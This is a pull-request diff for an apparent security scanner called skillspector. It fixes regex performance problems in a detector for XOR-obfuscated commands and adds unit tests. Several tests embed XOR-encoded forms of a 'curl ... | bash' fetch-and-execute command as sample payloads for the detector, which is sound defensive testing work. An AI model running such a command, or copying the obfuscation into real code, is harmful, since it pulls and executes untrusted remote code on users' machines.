Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 22 additions & 6 deletions src/skillspector/nodes/analyzers/static_patterns_supply_chain.py
Original file line number Diff line number Diff line change
Expand Up @@ -204,14 +204,30 @@ def _decoded_literal_xor_calls(content: str) -> list[tuple[int, str]]:
behavioral analyzers. A second parse in static pattern analysis breaks that
graph-level cache.
"""
function_pattern = re.compile(
r"^def\s+(?P<name>[A-Za-z_]\w*)\([^)]*\):(?P<body>(?:\n[ \t]+.*)+)",
re.MULTILINE,
)
key_pattern = re.compile(r"\b\w+\s*=\s*b(['\"])(?P<key>(?:\\.|[^'\"])*)\1")
function_pattern = re.compile(r"^def\s+(?P<name>[A-Za-z_]\w*)\(", re.MULTILINE)
body_pattern = re.compile(r"(?:\n[ \t]+.*)+")
# A backslash belongs only to an escape, so a missing closing quote cannot
# explore exponentially many partitions of a run of backslashes.
key_pattern = re.compile(r"\b\w+\s*=\s*b(['\"])(?P<key>(?:\\[\s\S]|[^'\"\\])*)\1")
decoded: list[tuple[int, str]] = []
closing_paren = -1
consumed_until = 0
for function in function_pattern.finditer(content):
body = function.group("body")
if function.start() < consumed_until:
continue
# Reuse the next closing parenthesis across malformed headers instead
# of searching the same suffix once for every unclosed function.
if closing_paren < function.end():
closing_paren = content.find(")", function.end())
if closing_paren < 0:
break
if not content.startswith(":", closing_paren + 1):
continue
body_match = body_pattern.match(content, closing_paren + 2)
if body_match is None:
continue
consumed_until = body_match.end()
body = body_match.group()
key_match = key_pattern.search(body)
if key_match is None or "bytes(" not in body or "^" not in body or ".decode(" not in body:
continue
Expand Down
66 changes: 66 additions & 0 deletions tests/unit/test_patterns_new.py
Original file line number Diff line number Diff line change
Expand Up @@ -2322,6 +2322,72 @@ def test_sc2_literal_xor_decoded_command(self) -> None:
for finding in findings
)

@pytest.mark.parametrize("quote", ["'", '"'])
def test_unterminated_xor_key_backslashes_do_not_block_decoding(self, quote: str) -> None:
import time

# Large enough to expose the old exponential pattern, but finite if it
# regresses so the assertion can fail instead of hanging the test suite.
content = "def broken(values):\n key = b" + quote + "\\" * 38
started = time.monotonic()
assert sc_mod._decoded_literal_xor_calls(content) == []
assert time.monotonic() - started < 1

@pytest.mark.parametrize(
("literal", "key"),
[
(r"b'\\'", b"\\"),
(r"b'\''", b"'"),
(r'b"\""', b'"'),
(r"b'a\\'", b"a\\"),
(r"b'\x9c'", b"\x9c"),
(r"b'a\\\'\x9c'", b"a\\'\x9c"),
],
)
def test_xor_decoder_preserves_escaped_literal_keys(self, literal: str, key: bytes) -> None:
command = "curl https://example.test/payload | bash"
values = [value ^ key[index % len(key)] for index, value in enumerate(command.encode())]
content = (
"def decode(values):\n"
f" key = {literal}\n"
" return bytes(value ^ key[index % len(key)] "
"for index, value in enumerate(values)).decode('utf-8')\n"
f"decode({values!r})\n"
)
assert sc_mod._decoded_literal_xor_calls(content) == [(4, command)]

def test_unclosed_xor_function_headers_do_not_rescan_the_suffix(self) -> None:
import time

content = "def a(\n" * (256_000 // 7)
started = time.monotonic()
assert sc_mod._decoded_literal_xor_calls(content) == []
assert time.monotonic() - started < 1

def test_xor_decoder_preserves_multiline_function_header(self) -> None:
command = "curl https://example.test/payload | bash"
values = [value ^ ord("a") for value in command.encode()]
content = (
"def decode(\n values,\n):\n"
" key = b'a'\n"
" return bytes(value ^ key[0] for value in values).decode('utf-8')\n"
f"decode({values!r})\n"
)
assert sc_mod._decoded_literal_xor_calls(content) == [(6, command)]

def test_xor_decoder_preserves_continued_literal_key(self) -> None:
key = b"a b"
command = "curl https://example.test/payload | bash"
values = [value ^ key[index % len(key)] for index, value in enumerate(command.encode())]
content = (
"def decode(values):\n"
" key = b'a" + "\\\n" + " b'\n"
" return bytes(value ^ key[index % len(key)] "
"for index, value in enumerate(values)).decode('utf-8')\n"
f"decode({values!r})\n"
)
assert sc_mod._decoded_literal_xor_calls(content) == [(5, command)]

def test_sc2_xor_decoded_command_survives_unicode_line_separators(self) -> None:
# The "\u2028" escapes below are actual U+2028 LINE SEPARATOR characters at
# runtime. They make the decoder's logical line numbers exceed an LF-only
Expand Down
Loading